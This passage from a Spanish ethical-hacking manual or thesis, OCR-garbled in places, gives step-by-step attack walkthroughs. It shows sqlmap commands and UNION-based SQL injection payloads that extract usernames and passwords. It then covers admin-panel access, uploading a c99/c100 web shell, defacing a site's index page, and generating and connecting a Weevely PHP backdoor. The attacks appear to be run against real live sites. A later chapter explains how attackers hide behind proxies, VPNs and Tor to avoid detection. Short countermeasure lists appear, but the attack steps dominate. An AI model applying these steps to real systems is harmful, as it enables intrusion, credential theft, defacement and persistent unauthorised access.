A continuacién se presenta un ejemplo de cdémo obtener informaciéon utilizando esta
herramienta.
El comando utilizado es el siguiente:

e ./sglmap.py —u http://www.sitioweb.com/libros/libros.php?id=1 --dbs

: [pentest/database/sqnap# ./sqlnap.py -u http://ww. .con/Libros/1ibros.php?1d=1 - -dbs

Figura 7.37 Ejecucion de SQLMap contra Sitio web - Backtrack.
En la figura 7.37 se muestra el comando utilizado para obtener la o las bases de datos de la
pagina objetivo, cabe indicar que se debe introducir la URL especifica donde se encuentra la
vulnerabilidad en este caso no es necesario afiadir el signo “-” antes del nimero ya que esta
tool la automatiza independientemente de la consulta generada por la sentencia SQL original,

posteriormente a esto se digita el comando —dbs para obtener las bases de datos.

[60:58:05] [INFO] the back-end DBMS is MySQL

ation technology: PHP 5.2.17
MySQL

[00:58:06] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/outpt

[*] shutting down at ©6:58:06

Figura 7.38 Bases de datos obtenidas del Sitio web - Backtrack.
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En la figura 7.38 se muestran las bases de datos obtenidas “creadmin_database” es la
generada por el administrador del sitio y ademas “Information_schema” que contiene los
metadatos, esto quiere decir que almacena toda la informacion acerca de las bases de datos

gue mantiene el gestor MySQL.

8 /SQUTGD. DY U NCCD: (O L1bros/ Lros. pRpTiceL D creadmin datatase -~Lables

Figura 7.39 Comando para obtener las tablas de la base de datos - Backtrack.

Para obtener las tablas de un base de datos se utiliza el comando “—tables” previamente se
tiene que especificar de qué base de datos se desea seleccionar se lo realiza con “-D” como se

muestra en la figura 7.39.

[13 tables]

[01:62:39] [INFD] fetched data logged to text files under '/pentest/database/ ap/output/www

[*] shutting down at €1:02:39

Figura 7.40 Tablas obtenidas de la base de datos - Backtrack.

En la figura 7.40 se muestran las 13 tablas pertenecientes a la base de datos

“creadmin_database” con ello se enfoca la obtencion de informacion sobre la tabla usuarios.

0a5e/ S0 oap# . 900a0.py -U P/ 0/ i0ros Lbros. o] ) re

Figura 7.41 Comando para obtener las columnas de una tabla - Backtrack.

Luego de conocer la informacién de la base de datos se selecciona la que tenga informaciéon
sensible, en este caso la tabla es “usuarios”. El comando utilizado para este propésito es el

siguiente:
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e ./sglmap.py —u http://www.sitioweb.com/libros/libros.php?id=1 -D creaadmin_database -T

usuarios -- columns

Los comandos “-D” y “-T” son utilizados para seleccionar una base de datos y una tabla

especifica previamente obtenidas con “--dbs” y “--Tables”.

n technology: PHP 5.2.17

in database 'creadmin database

fetched data o text files under '/pentest/database/sqlmap/output/wy

[*] shutting down at ©1:65:36

Figura 7.42 Columnas obtenidas de la tabla usuarios - Backtrack.
Los datos que se muestran en la figura 7.42 corresponden a las columnas encontradas en la
tabla usuarios, con ello lo que resta es realizar una consulta SQL para obtener los registros

deseados.

Figura 7.43 Columnas obtenidas de la tabla usuarios - Backtrack.

El comando utilizado en la figura 7.43 es el siguiente:
e ./sglmap.py —-u http://www.sitioweb.com/libros/libros.php?id=1 --SQL —query= “Select

username,password From creadmin_database.usuarios”

La consulta SQL generada toma las columnas username y password de la tabla usuarios con

esto se tendran los registros de los usuarios registrado en la base de datos.
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ord FROM creadmin database.usuarios

3se/sqlmap/outpu

Figura 7.44 Resultado Final de la consulta SQLMap - Backtrack.

En la figura 7.44 se observan los datos obtenidos después de todo el proceso de analisis con la
herramienta SQLMap, se muestran claramente los nombre de usuarios y sus contrasefias
demostrando con esto que esta herramienta simplifica en gran medida las pruebas SQL

Injection sobre los sitios web.
7.10.4 Contramedidas.

e Reducir los privilegios de las conexiones sobre las bases de datos desde las

aplicaciones web.
e Deshabilitar los mensajes de errores detallados.
¢ No almacenar informacién confidencial en texto plano.

e Realizar validaciones de todas las entradas de texto usadas por los usuarios. Asi como

de expresiones regulares y cadigo fuente.
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7.11 Web Server Defacement.

Esta técnica se basa en la modificacion de la pagina de inicio de un sitio web mediante la
obtencion de acceso aprovechandose de una vulnerabilidad encontrada dentro del sitio, este
ataque es muy frecuente hoy en dia ya sea en paginas de gobierno como empresas comunes
con el propdsito de respaldar alguin objetivo en comdn de organizaciones (Hacktivismo) como
por el simple hecho de mostrar que la pagina victima carece de un sistema de seguridad
robusto.

A continuacion se presenta un ataque hacia un objetivo utilizando la técnica de SQL Injection.

€ % A .org/index.php/pagelD/23

e

0 About CTI O Initiatives 0O Research & Publications 0O News Room 0O Sponsors 0O Contact

Figura 7.45 Pagina web de la victima — Web Analizada.
En la figura 7.45 se muestra la pagina web que sera puesta a prueba bajo un ataque de web

server defacement.

¢ Y , ory ndeshp el | fer el

You have an error in your SCL syntax; check the manual that corresponds to your MySQL server version for the xight syntax to use mear '} at line !

- e

SELECT * FRO pages WAERE page 16-03

Figura 7.46 Inyeccion SQL para verificar vulnerabilidad — Web Analizada.
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Al ejecutar una comilla simple sobre la URL de la pagina objetivo se consigue comprobar que la

pagina es susceptible a un ataque SQL Injection como se visualiza en la figura 7.46.

¢ - Q. D wi index.php/pagelD/23 order |

Unknown column 'S' in 'order clause'
SELECT * FROM pages WHERE page id=23 order by 9--

Figura 7.47 Obtencién de campos habilitados — Web Analizada.

Ejecutando el comando “Order by” se obtiene el niumero de campos habilitados en el formulario
vulnerable del sitio web, en este caso luego de realizar las pruebas se averigué que el

formulario cuenta con ocho campos como se muestra en la figura 7.47.

< %

aws Room O Sponsors O Contact

3~ [

Figura 7.48 Visualizacién de los campos disponibles — Web Analizada.
Al aplicar la sentencia “union select” y los nimeros correspondientes del uno a ocho se
visualiza en el formulario vulnerable los campos que son visibles, son dichos campos donde se

mostraran todas las consultas realizadas por el atacante como se observa en la figura 7.48.
Para este caso los campos que se utilizaran son el 2y 3.
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6 X org/index.php/pagelD/-23 unicn select 1,database(), version(},4,5,6,7.,8 --

Publications O News Room O Sponsors o Contact

Figura 7.49 Consulta de Base de datos y version del Gestor — Web Analizada.
Para conocer mas a detalle el objetivo se debe conocer el nombre de la base de datos y la
version del gestor de base de datos. En la figura 7.49 se muestran estos datos de la pagina

victima.

2 ele = on_schem a ere c a= b
O About CTI O Initiatives O Research & Publications O News Room O Sponsors O Contact
Oy o
~
a 12
—

O Seninr Exsciiti

Figura f.50 Numero de Tablas disponibles — Web Analizada.
Para un mejor conocimiento de la estructura de la base de datos se necesita conocer las tablas
gue maneja y con ello se pueden establecer las tablas con mayor interés para realizar las
siguieres consultas. En la figura 7.50 se muestra que del sitio objetivo en la base de datos

“cwlp_live” existen 12 tablas utilizadas.
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et

e

O About CTI O Initiatives O Research & Publications 0O News Room 0O Sponsors 0O Contact

union select 1 table name 3,4,5,6,7,8 from information_schema.tables where table_schema= database() limit 1 offset 10-4

O History n L4 lﬂ

© USEers

Figura 7.51 Busqueda de tabla usuarios — Web Analizada.
Al tener el nimero de tablas de la base de datos queda el probar cada una de ellas con las
opciones “Limit” y “Offset”, en la figura 7.51 se observa que la tabla nimero once es la de

usuarios.

¢elect1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=0x7573657273 limit 1 offset1-
O About CTI O Initiatives DO Research & Publications DO News Roeom 0O Sponsors 0O Contact

O History n Ll in|

L usScrname

Figu‘ré 7.52 Obtencién de los campos de la tabla — Web Analizada.

Para realizar una consulta SQL que presente los datos de la tabla “users” se tiene que conocer
en primer lugar los campos que seran consultados, en la figura 7.52 se muestra el campo que

almacena los nombres de los usuarios.
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org/index.pnp/pageiv/-£3 union seiect L concatiusermame Uxsa password). s 2.0 = LSErS |

O Research & Publications 0O News Room 0O Sponsors

Figura 7.53 Obtencion de los campos de la tabla — Web Analizada.

En la figura 7.53 se realiza un consulta SQL con todos los datos recolectados y se obtiene el

usuario y contrasefia que tiene acceso al panel de control del sitio.

¥ ) Wy org/admin

2,

N

)

Management Login

Username:
Password:

[ Login |

Figura 7.54 Acceso al Panel de Control — Web Analizada.

Luego de obtener el usuario y contrasefia se debe encontrar el panel de administracion del sitio
e ingresar los datos previamente obtenidos mediante SQL Injection. Existen herramientas que

facilitan la busqueda del panel administrativo como son: “AdminFinder” y “DW Admin and Login

Finder v1.1” entre otras.
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Item List

Content items for section :

Initiatives

Title Date

Actions

13 edit

13 adit

dalete

deletes

Figura 7.55 Acceso al Panel de Control — Web Analizada.

Una vez dentro del sistema hay que buscar una seccion donde permita subir un documento,

una foto o un adjunto, independientemente de los privilegios que se disponga basta con que se

permita subir un archivo. En este caso se encuentra una lista de items que se pueden editar o

crear nuevos articulos, las dos opciones son validas para este caso. Todo esto se visualiza

claramente en la figura 7.55.

Edit Item

Title
URL :

Description :

HTML Helper

Publication data :

Document :

Edit TtTem Details :

Initintives
New ltem

htrp: //www

— Formatting Tags
2013 Bl

cl00.php

Link text

Link destination

Enter a URL:
OR

:xrg;invjev,.php':::,u:tlv:xv‘n-rniti.:at!ﬂ.v'-;;:-'i':-::
-~
New document :
Examinar c100.php
Choose a3 page from this s

Select a page on this site

ita:

Figura 7.56 Subida de un WebShell en la Pagina Web — Web Analizada.

La figura 7.56 visualiza la edicion de un item que esta en el portal de la pagina. Aqui se puede

ver que en la parte inferior existe el boton de “Examinar”, el mismo que habilita la posibilidad de
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subir un documento al servidor. En este caso el archivo se llama c100.php. Se trata de un
WebShell que permite tomar el control de las acciones del servidor pudiendo: cargar archivos,
eliminar, renombrar y modificar los archivos, existen varios sitios en Internet donde se lo puede
descargar uno de ellos es: “www.oco.cc/”. Luego de cargar el archivo se copia la URL en donde

se guardara el documento para tener acceso a ella.

% ¥ WAL .org/index.php/section/initiatives®4 58

o About CTI O Initiatives O Research & Publications O News Room O Spensors O Contact

| £ RE 3 in]
o Initiatives

New Item

Figura 7.57 Ubicacion de archivo en el servidor — Web Analizada.
Dentro del sitio web hay que dirigirse al item modificado, ahi se muestra el archivo que brinda

el enlace hacia la Shell como se visualiza en la figura 7.57.

!C99Shell v. 1.0!

uname -a: Linux kampala 2.6.32.45-grscc-2.2.2-r3 8 PDT 2011 xB6_64
md=3463606(sweet_tuna) gid=533195(pg1970704) groups=533195(pg1970704)
Safe-mode:

Software: Apache. PHP/S.3.13

(home/w documents/
Free 412,02 GB of 3643.87 GB (11.31%)

P4 i
A « » B B & ® i oind o FPbrute Sec SOL PHP-code Feedback Self remove Logout
Owned by hacker

Listing directory (127 files and 0 directories):

Size Modify Owner/Group
16,03 134197

24,05

]
E
B
2]
B
2
R
2
E ;

En la figura 7.58 se muestra la ejecucién del Shell en el servidor, permitiendo tener acceso a

los directorios almacenados.
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: Command execute

Select:

e EI Fente |

Upload

nado nngin archwa. | Uphad |

= Make File ;:

Create |

i 6o File :;

--[ c9%shell v. 1.0 beta 5) powered by Captain Crunch Security Team | | Generation time: 0.0631 ]--

Figura 7.59 Opciones de la Shell — Web Analizada.

Esta Shell muestra varias opciones que permiten interactuar con el servidor permite crear

directorios, abrir directorios, crear y subir archivos.

PVICVUISCCCSS
FYNSYNSYYNEEN
EEEEEEEEN

LB S O

Select:

- e
Filename ndex v Todos los archivos

Jpen

[home vest_tunajworkd fepak

--[ c89shell v. 1.0 beta (21.05.2005) powered by Captain Crunch Security Team | | Generation time: 0.0336 ]--

Figura 7.60 Subida del archivo index al servidor — Web Analizada.

Para realizar el defacement se debe tener previamente programado un script que tenga
disefiado como desea que se visualice la pagina principal del sitio, posteriormente a esto se

tiene que ubicar en el directorio raiz del servidor y buscar el archivo llamado “index.php”. Una

212



vez cumplido estos dos requisitos utilizando la opciéon “Upload” del Shell finalmente se logra

cargar el script para reemplazar el “index.php” original.

Figura 7.61 Web server Defacement — Web Analizada.

Concluido con todos los pasos previos cuando se acceda al sitio web se mostrara el archivo

index subido por el atacante, como se muestra en la figura 7.61.

7.11.1 Contramedidas.

e Reforzar las contrasefias de acceso al servidor.

e Revisar los enlaces que son subidos al servidor.

¢ Mantener actualizadas las aplicaciones del servidor.

e Controlar estrictamente los caracteres que pueden ser ingresados en los formularios y

en las Urls del sitio.
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7.12 Manejo de Backdoors.

Los Backdoors o puertas traseras son aplicaciones disefiadas para que luego de obtener el
acceso a un sistema se pueda ingresar nuevamente con tan solo conectarse a esta
herramienta. Una vez conectado se pueden realizar cambios u obtener informacién del objetivo.
En la actualidad este tipo de troyanos son muy utilizados y existen diversos tipos dependiendo
del escenario al cual se esté atacando.

A continuacién se presenta un ejemplo de un Backdoor tomando como pasos iniciales los

realizados en la técnica “Web Server Defacement”’ descrita anteriormente.

7.12.1 Weevely.

Es una herramienta WebShell programada en Python utilizada para la creacion Backdoors en
aplicaciones web, esta herramienta tiene opciones que permiten obtener informacién del sitio

web, esta aplicacion viene incluida en Backtrack.

: /pentest/backdoors/web/weevely# python weevely.py generate password /root/Desktop/backdoor.php

Stealth tiny web shell

[generate.php] Backdoor file ‘/root/Desktop/backdoor.php' created with password ‘password'.

Figura 7.62 Creacién del Backdoor — Backtrack.

El primer paso para crear un Backdoor es ingresar una clave que servird para la ejecucion del
troyano para esto se utiliza el comando “generate” seguido de la clave, en este caso como
ejemplo se introdujo la palabra “password”. A continuacién se digita la ruta donde se guardara
el archivo PHP gue contendra el Backdoor, en este caso para el ejemplo se puso como nombre
del troyano “Backdoor” pero este nombre debe ser diferente para que pase desapercibido entre

el resto de archivos alojados en el servidor.
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* File upload

ST

‘L\ ‘_4 i root J;D:Skﬂ;ﬂ'

| Places Name v Size Modified

|Q Search - 5
| root A ko v 219 bytes 02

t .oy 164 bytes 2

| File System 263 byt

| Floppy Drive

i
i

| All Files v -
Cancel Open

| Generation time: 0.1281 1

Figura 7.63 Subida del Backdoor al servidor — C100.php

Una vez generado el Backdoor se tiene que alojarlo en el servidor, para ello se utilizara el

WebShell aplicando la técnica anterior (web server defacement) y se subira el troyano.

Task Force - Member Company LISt [6.11.091.par 3Z.32 B 21.0B
Release - [11.25.081.pdar 5
link.par

_Masterciass.ics

(o I Y

F.20.11.par

11.pdr
2006 _par

par

LU wy e

nnal.par

(VEVEVEVEVEVEVEVEVEVEY

{+

wy oy

5
£
1

>

7.2005

(VEVEVEVEVEVEVEVEVEVEYV]

Figura 7.64 Verificacién del Backdoor en el servidor.

En la figura 7.64 se muestra el troyano alojado en el servidor, posterior a esto se copia la ruta

donde esté alojado el archivo para proceder a generar la puerta trasera.
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@ . O (¢ I,

Figura 7.65 Direccion URL donde est& alojado el Backdoor — Firefox.

En la figura 7.65 se muestra la URL donde esta alojado el archivo con ello se tiene el enlace

requerido para obtener la conexion entre el servidor y la maquina del atacante.

hon weevely.py http://www /backdoor .php password

org/httpsdocss 1s

d_to Get Right.pdf

te hp
thumbnails

httpsdocss i

Figura 7.66 Generacién de la puerta trasera — Weevely.

En la figura 7.66 se muestra la generacion de la puerta trasera hacia el servidor objetivo
ingresando el comando: “python weevely.py http://www.sitioweb/fichero/backdoor.php” seguido
de la contrasefia ingresada al momento de la creacién del troyano, posterior a esto se tiene el

acceso directo hacia el servidor creando un enlace directo entre el servidor y el atacante.
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CONCLUSIONES.

Por todo lo citado anteriormente los administradores de los sistemas deben tomarse el tiempo
necesario para validar y proteger de mejor manera sus sitios web, considerando que todo
recaudo que se tome sera un obstaculo mas para que los atacantes desistan de ingresar a sus
sitios. Todo sitio web por mas seguridades que implemente siempre sera vulnerable, pues se
sabe que por normativa de la Seguridad de la Informacion no hay ningin sistema cien por
ciento seguro pero depende de los administradores de los sistemas y de la capacitacion

brindada a los usuarios para que el sitio no sea victima de accesos indebidos.

217



CAPITULO VIII.

ANONIMATO Y BORRADO DE HUELLAS.

INTRODUCCION.

En este capitulo se tratara acerca de como mantener el anonimato y no dejar rastro en los
lugares a los cuales se ha realizado el analisis ya sea con o sin consentimiento de las partes
involucradas. Estos aspectos son de vital importancia ya que como se analizé en los capitulos
anteriores los ataques pueden hacer mucho dafio a la organizacion y estas buscaran dar con
los responsables de los perjuicios.

El escenario analizado es del hacker que realiza ataques a una empresa y no quiere ser
descubierto, entonces este aplica ciertas técnicas que le permiten pasar desapercibido durante
el proceso de ataque.

Como se sabe todo intento de acceso hacia un objetivo deja rastros los cuales pueden ser
registrados por el administrador, por tal motivo el atacante intentara reducir al maximo el riesgo
de ser detectado. En el siguiente capitulo se presentaran algunas de las técnicas utilizadas

para estos fines.
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8.1. Definicién de Proxy.

Es un computador que sirve de intermediario para conectarse de una manera indirecta hacia un
objetivo, cuando el equipo que tiene configurado un Proxy (mediante una IP y un puerto) intenta
comunicarse con su destino primero notifica al servidor proxy y este a su vez con el equipo
objetivo, de igual forma se realizara cuando luego de procesar la informacién se intente
conectar con el equipo del atacante, primero pasara por el servidor proxy antes de llegar al
equipo con ello logra que el equipo al cual se esta conectando no sepa quién esta produciendo

navegador é —_—— lr—uhi} dECLLU —_— >

el ataque.

ra
~ b
™ . servidor proxy ~
h —— .7
A s
. — - |

2| e @ k_/

= = — = — datos recibidos/enviados directament

- — = = — latos recibidos/enviados por proxy
e

Figura 8.1 Funcionamiento de un servidor proxy. (http://www.telypc.com , Parr 2)
En la figura 8.1 se muestra cual es el funcionamiento de un servidor proxy orientado a una

conexion en Internet.

8.2. Tipos de Proxy.

Existen algunos tipos de servidores proxy, a continuacion se detallan los mas frecuentes:

e Proxy Cache.

Brinda una cache que permite conservar los contenidos asociados de una pagina web
temporalmente, esto ayuda a que se mejore los tiempos de acceso a consultas y libera la carga
en los enlaces hacia Internet.

Cuando la maquina atacante realiza una peticion de un recurso especificado por una URL, esta
pasa por el Proxy cache que lo busca en su cache local, si este lo encuentra lo devuelve

inmediatamente de no ser asi lo captura del servidor remoto lo devuelve a la maquina que
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realizé la peticién y posteriormente lo guarda en su cache para posibles peticiones futuras.
Entre sus ventajas estan: Tiempos de respuesta bajos, ahorro de trafico, modificaciones de
contenidos, entre otros.

e Proxy Transparente.

Es utilizado mayoritariamente por los ISP (Proveedores de servicios de Internet) esta combina
un servidor proxy con un firewall que captura y desvia todo el tréfico hacia el proxy sin
necesidad de realizar una configuracion manual por parte del cliente.

e Reverse Proxy.

Es un servidor Proxy instalado en varios servidores web, cuando el trafico producido en Internet
tiene como destino uno de dichos servidores la informacion pasa a través del servidor proxy.
Entre sus ventajas se encuentran:
> Brinda seguridad ya que el proxy actia como una capa de defensa que protege al
servidor web.
» Laimplementacién del cifrado SSL lo realiza el “Reverse proxy’.

» Redistribucién de carga entre los servidores.

e Proxy NAT.

Este proxy realiza con las direcciones origen o destino de los paquetes IP una rescritura y
sustitucidon por otras ya que se dispone de una Unica direccién IP publica la cual debe ser
utilizada por todos los equipos. En el interno de una red LAN los equipos utilizan direcciones IP
reservadas para usos privados y sera el proxy el que realice la traduccion de las direcciones
privadas a la Unica direccion publica disponible para realizar las peticiones que fueron

realizadas por los equipos.

8.3 Servidores Proxy Gratuitos.

Los servidores proxy en Internet son de gran ayuda para mantenerse anénimo y con ello ser
dificiles de rastrear. Existen muchas paginas que ofrecen servidores proxy, pero no todas ellas
son confiables ni eficaces, hay que considerar los siguientes puntos:

e Al utilizar proxy la conexién se hara lenta ya que al pasar por un equipo intermedio

(servidor proxy) antes de llegar al objetivo el trafico sera mayor.

220



e Algunos servidores Proxy son usados por hacker como anzuelo para robar informacion

del usuario que se conecta hacia ellos.

e En medida de lo posible no transmitir claves de autenticacion mucho menos informacion

confidencial cuando se esté conectado a un proxy.

Para encontrarlos una de las formas mas rapidas es digitar en Google “free proxy server”’. Ahi

nos apareceran varias paginas que ofrecen este servicio. Como ejemplo se cita:

hidemyass.com,/ pro

Free IP:PORT Proxy Lists

Real-time auto-updatable database of free working IP:PORT proxies

Free proxy list Premium lists

Proxy couniry Pori(s) Protocol Anonymity level
¥l All countries I¥] All ports &l HTTP ¥INone
[ZHTTPS #Low
¥l socksa,s [“lmedium
HHigh

¥ High +KA
PlanetLab

¥ Include

Last update 1P address Port Country Speed Connection time
new 3 sec 189.45205.114 3128 =2 grazil ° | i

ms 102.23101 227 2080 ™™ Indonesia [ I [

me 197.253.7.101 8080 0 B Nigeria
2m 58 202.43.388.11 8080 == Indonesia | | | |
7m 5s 110.93.215.186 8080 E Pakistan I | I ]
9m 8s 200.168.182.154 3128 B2 Brazil (m—) | |
12m 7s 31162 8080 B5 United States I ]
i6m 7s 199168 1080 == United States = d i |
16m 7s 190.0.19.82 = Colombia E | i |
16m 8s 177101812 so080 =3 grazil i ]
16m 8s 186.94231.122 8080 I Venezuela e

Speed

¥} Siow
¥ Medium
¥l Fasr

Connection time

¥ siow

¥ medium

¥ Fast
Type Anonymity
HTTP None
HTTPS High +KA
HTTPS High +KA
HTTP Loww
HTTP Low
HTTPS High +KA
HTTPS High +KA
socksd/s5 High +KA
HTTPS High +KA
HTTPS High +KA
HTTPS High +KA

Figura 8.2 Pagina web utiliza para obtener Proxy.

En la figura 8.2 se muestra la pagina web: http://hidemyass.com/proxy-list/ en ella se

encuentran cientos de Proxys los cuales se pueden utilizar, ademas esta web cuenta con un

sistema de filtrado que ayuda a obtener los datos que se requieran como: el pais, los puertos,

el protocolo, la velocidad y quiza el mas importante el nivel de anonimato, este Ultimo item hay

gue tomar un especial énfasis porque de este depende que sea efectivo el anonimato. Se

puede dividir en tres tipos:

¢ Abiertos: Un proxy abierto revela la IP de quien lo esté usando.

e Enmascaramiento: Cambia la direccion IP del equipo que utiliza el proxy pero dejara

saber que esta conectado mediante uno.
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e Anodnimos: Oculta la direccion IP al navegar y utilizar Internet, también oculta que se

esta conectado a través de un proxy.

prueba que lo ayuda a detectar que se esté utilizando un proxy.

8.4 Configuracion de un proxy.

configuracion en el browser para ello se realizan los siguientes pasos:

; — — — e —— = e | ]
#E = & & w s O

‘ General Tabs Content Applications Privacy Security Sync

|

General }INeMork | Update Encryption

| Advanced

Connection

Configure how Firefox connects to the Intermet

[ Settings... |

Cached Web Content
Your web content cache is currently using 24.5 MmB of disk space

[ Override automatic cache management

Offline Web Content and User Data

Your application cache is currently using O bytes of disk space

Tell me when a website asks to store data for offline use

The following websites are allowed to store data for offline use:

Heip |

| Clear Now |

[ Clear Now |

{ Exceptions... ]

[

Close

|

Figura 8.3 Opciones de Browser - Firefox.

figura 8.3.

En el caso de esta pagina web el tipo de anonimato mas seguro seria el “High+KA”, las letras
KA significa “Keep alive” esto quiere decir que el Proxy se puede considerar extremadamente

anonimo; el host remoto no tiene conocimiento de la IP del atacante ni mucho menos alguna

Luego de conseguir un proxy que cumpla las expectativas del hacker se debe realizar la

Desde el browser utilizado puede ser: Explorer, Chrome, Firefox entre otros hay que dirigirse a

opciones avanzadas y posteriormente a configuraciones de conexién como se muestra en la

222



>< Connection Settings

Configure Proxies to Access the Internet
T 3 No proxy
2 Auto-detect proxXy settings for this network
O Use systerm proxy settings

O Manual proxy con;’iguratjon:

HTTP Proxy: | 62.240 J Port: | > | =

Use this proxy server for all protocols

No Proxy for:
localhost, 127.0.0.1

Example: mozllla org, .net.nz, 192.168.1. 0124
O Automatic proxy configuration URL:

Help | | Cancel | I oK l

Figura 8.4 Configuracion del Proxy — Firefox.

Una vez seleccionada la conexion se visualiza la configuracién del proxy para acceder a

Internet como se muestra en la figura 8.4. Aqui se selecciona la configuracion manual de Proxy

y se digita la IP y el puerto obtenido de la pagina web de Proxys.

B whatis
.) MylPAddress

My IP IP Lookup Blacklist Check Trace Email Speed Test Hide IP Change IP IP Toois FAQs Forun
What Is My IP Address? (Now detects many proxy servers)

IP Information: 62.240.

maoare detalls ISP: Art Comunication DOO
T —— Organization: Art Comunication DOO

$

Q0 e T
--.k i e e
(<[]

e

l:nn‘lapes( r,.,“ oC0

H|||J’|r /

2
Secgod

— eport forum spam source.
pamsne City- Belgrade
; & o:""" Bu Country: Serbia
o
Sy iz — Don't want this 111 known? Hide your IP_details
el and Herz vt
: x ¢ - a X o
- < SN e ) iti i
= S Bulgaria 62.240. % Additional IP Details
: e T S, s
fer avest: S2013 Magd i ©2013 Natura
o "“.NU" Eanthaihania_ 4 ™ Thessakonki R

Location not accurate? Update your IP location

Figura 8.5 Verificacién de funcionamiento del Proxy — Firefox.

Luego de ingresar el proxy al navegador se verifica que esté funcionando, desde cualquier

pagina que detecte la IP con la que se realiza la conexién a Internet se puede obtener estos

datos. Como se muestra en la figura 8.5 el proxy ingresado pertenece a Serbia. Y con esto al

navegar todo el trafico pasara por este servidor.
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8.5 Anonimato mediante VPN.

Una red privada virtual (VPN) permite cifrar los datos transmitidos de un enlace entre dos
nodos, realiza una conexién del cliente VPN hacia un servidor VPN y posteriormente se
conecta a la red puablica ocultando la direccién IP, a diferencia de los Proxys que solo permiten
el anonimato sobre el browser que esta configurado, este permite una navegaciéon anénima en
varios protocolos como: correo, voz, chats, P2P, es decir todo el trafico que interactie con
Internet.

La privacidad es uno de los puntos a favor que tiene un proveedor de servicios VPN ya que
permite la transmision de los datos de manera encriptada, en la mayoria de casos el servidor
VPN ofrece distintas localizaciones geogréficas a los que se puede conectar el cliente. Para
gue toda la comunicacién entre el cliente y el servidor VPN sea satisfactoria se debera utilizar
un servidor VPN que brinde anonimato y privacidad de forma confiable. Por lo general se
necesita de un software para implementar este anonimato y dependiendo de la calidad de

servicio tiene un costo.

8.6 Software para navegar anonimamente.

8.6.1 Proxy Manager.

Es una herramienta utilizada para la administracién de Proxys para sistemas Windows, realiza
una busqueda de servidores proxy y rangos de puertos previamente establecidos, determina si
estan funcionando o no para redirigirla al browser. Por defecto viene sincronizado con Internet

Explorer para su funcionamiento. (http:/futuresight.org , Parr 2)

File Edit WYiew Check Tool Help
O | $+AX 28 o040 DS e
x| Type \ Proxy Server | Port [ User | Password | Time(s)fStatus | --Remark-- *
= proxy document HTTP 116.89 80 3.3 o
Spain HTTP \225.72 80 3.4 5
Russia TP 44.87 30 3.4
others HTTP 117.81 an 3.5
Japan HTTP 42.88 30 4.3
g;':n . HTTP 41,97 80 4.5
EntTe 19.91 a0 5.6
German
e Onrre zz4.8 80 5.7
England OxTTe 214.91 80 5.7
china OHTTP 169.91 30 6.2
Canada OHTTe 223.96 80 7.8
Brazil OHTTP 165.105 80 8.0
+ [ Amercia OxtTe 240.8 30 8.0
ol example.pmn DHTTP 112,66 a0 8.2
Onte 17.226 80 .5
Murtn 1ce 120 on ne £
X | web Page | web URL | --Remark--
S - hittp: f frse ~ b Page 1
S http:f fwww = Page 30
Ready

Figura 8.6 Visualizacién de la herramienta Proxy Manager.
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8.6.2 Proxy Switcher.

Es un administrador de Proxys que actualiza sus listas autométicamente y permite una

navegacion  fluida

hacia lo

S objetivos su

(http:/imww.proxyswitcher.com/ , Parr 1)

utilizacion

es facl vy

File Edit

OZ77EBX U088 2 o s A=

State
Untested

Actions  View Help

7 Praxy Scanner
¥ New (1156)
& ngh Anonymous (0]
= 55L[0)
= Elite (0)
4 Dead[658)
~ Permanently [0)
~7 Basic Anonymity (19]
~ Private (1)
= Dangerous [0)
7 My Proxy Servers [0]
7 ProxySwitcher (1]

Disabled Keep alive

Mew

Server ¢

s 31

22110

- 170.101:80 Untested
& 1059.30:8080 Untested
R 162.182:3080 Untested
R 112.170:8080 Untested
~ 22.109:80 Untested
& 101.229:8080 Untested
R 1412.76:3080 Untested
4 12.77:8080 Untested
R .50:808 Untested
& %.56:80 Untested
,3‘ 166:3128 Untested
R W 27.53:80 Untested
< nr
Auto Switch

Purchase Proxy Switcher to enable Automatic
Proxy Switching

032

00:58:43.282 Problem - can't find other server in ProxySw #
00:59:00.073 124.160.227.5:10080 died. Looking for a s
00:59:00.079 Problem - can't find other server in ProxpSw
00:59:07.907 124.160.227.5:10080 died. Looking for a s
00:59:07.907 Problem - can't find other server in ProxpSw
00:59:13.704 Proxy changed to 1.34.181.22:110. TAMWE v

Response

= |NDONESIA
m— |DONESIA
m— DONESIA
| NDONESIA
EZ3 HONG KONG
| NDONESIA
| DONESIA
m— |DONESIA
B EANGLADESH
B E4NGLADESH
= |NDONESIA

® JAPAN Y
>

DL:

Figura 8.7 Visualizacién de la herramienta Proxy Switcher.

8.6.3 CyberGhost.

rapida.

Es una herramienta que permite la conexién hacia un servidor VPN que da la posibilidad de

mantenerse anénimo y manejando la informacion encriptada a la vista del servidor obijetivo.

Esta disponible para el sistema operativo Windows, existe una version gratuita que permite 6

horas de conexion ininterrumpida y 2 GB de navegacion.

onec | ar

‘ > /—\vlFlLQD)/ g

—

‘ @ Lista de servidares

2 Mapa de servidores
‘ Torctor s fovm. GadaNcIae et

B

‘ % Portal de video

COMPRA AHORA

Figura 8.8 Herramienta CyberGhost - Windows.
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8.6.4 Tor (The Onion Router).

Es un proyecto Multiplataforma que basa su funcionamiento en una red de comunicaciones
implementada en Internet que tiene como obijetivo principal el anonimato de los usuarios que lo
utilizan, esto lo puede realizar ya que utiliza nodos intermedios (onion routers) para enviar la
informacioén que se encuentran entre el origen y destino manteniendo siempre la integridad en

todo momento de la comunicacion. (https://www.torproject.org , Parr 2)

Red TOR

Serviclo de directort = ——

= Trafico S0CKS de trafico TCP
——— Trafico bidireccional de células sobre TL3

Destino s Trafico TCP

TR - e Trafico HTTP

Origen op

/

\ B
y I

~ ~

Figura 8.9 Funcionamiento de Tor (http://es.wikipedia.org , Parr 5).

En la figura 8.9 se muestra el comportamiento que tiene una red tor, de la computadora origen
pasa por un OP (Onion Proxy) que es utilizado por los usuarios mediante un software para
tener acceso hacia el servicio de directorio, este Ultimo contiene una base de datos con
informacién de cada OR (Onion Router) siendo accedido tanto por los usuarios como por cada
OR. Para tener conocimiento de la red cabe indicar que estas conexiones no son permanentes.
Dentro de la red Tor los nodos tienen una conexion TLS permitiendo el manejo de la

informacién de manera cifrada hasta el Gltimo nodo antes de llegar al destino.
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8.6.4.1 Instalacion y manejo de Tor sobre Linux.

*sources.list 3¢

ldeb http://deb.torproject.org/torproject.org lucid main
#deb http://all.repository.backtrack-linux.org revolution main microverse non-
free testing

deb http://32.repository.backtrack-linux.org revolution main microverse non-
free testing

deb http://source.repository.backtrack-linux.org revolution main microverse
Jnon-free testing

Figura 8.10 Agregar Reposito Tor — Backtrack.

